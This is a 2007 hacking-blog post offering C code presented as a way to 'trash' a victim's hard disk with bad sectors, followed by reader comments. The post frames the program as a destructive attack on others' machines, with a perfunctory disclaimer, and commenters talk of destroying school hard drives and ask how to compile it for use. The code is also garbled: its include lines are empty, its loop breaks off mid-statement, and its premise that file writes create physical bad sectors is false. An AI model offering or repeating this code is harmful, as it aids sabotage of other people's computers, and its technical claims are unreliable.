Subscribe to Hacking Truths. Now, 19976 members!      RSS Feed Be Our Fan on Facebook Twitter SMS Alerts

Home » Hardcore Hacking

Create Bad sectors on hard disks

17 November 2007 7 Comments Posted By
StumbleUpon.com
Share

This program will create bad sectors on the hard disk. If you left it running for long enough, it could render a hard disk quite useless. When bad sectors are found, the sector is marked as bad, so fixing the hard disk is not an easy task. Unless the victim has time and knowledge to fix the disk, the hard drive can be left quite literally defective.
DISCLAIMER : I don’t take responsibility for what you do with this program, served foe educational purpose only.



*/ This is a C Code */

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf(“sekt0r: trashing hard disk with bad sectors!\n”);

while(1) {
fd[1] = open(“/tmp/.test”, O_WRONLY|O_CREAT, 511);
fd[2] = open(“/tmp/.test1″, O_WRONLY|O_CREAT, 511);
fd[3] = open(“/tmp/.test2″, O_WRONLY|O_CREAT, 511);
fd[4] = open(“/tmp/.test3″, O_WRONLY|O_CREAT, 511);
fd[5] = open(“/tmp/.test4″, O_WRONLY|O_CREAT, 511);

for(x = 0; x <>

Popularity: 1% [?]

You might be interested in the following Articles

  1. Create a CookieLogger and Hack any Account


Enjoyed this article? Subscribe to Hacking Truths and get daily updates about new cool websites and programs in your email for free.


7 Comments »

  • poojan said:

    hi

  • Uggly Beast said:

    srocks… huh! feels ugly… nyway goooooooooooddddd

  • ABIR said:

    I WANNA MORE TIPES…..

  • mahaveer said:

    i want to more like this…..
    tell about how to restar friend computer using cmd or notepad

  • mahaveer said:

    very fine i want more like this

  • Nightmare-Rex said:

    mhu hahaha I should kill school hardrives!\

  • aaaeeerrr said:

    Sorry for the question but can anyone tell me who to convert this into a exe or something that i can use?? :P

Note : If you have any Query related to the above Article please Post it to the Support Forum.

Leave your response!

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.

You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

This is a Gravatar-enabled weblog. To get your own globally-recognized-avatar, please register at Gravatar.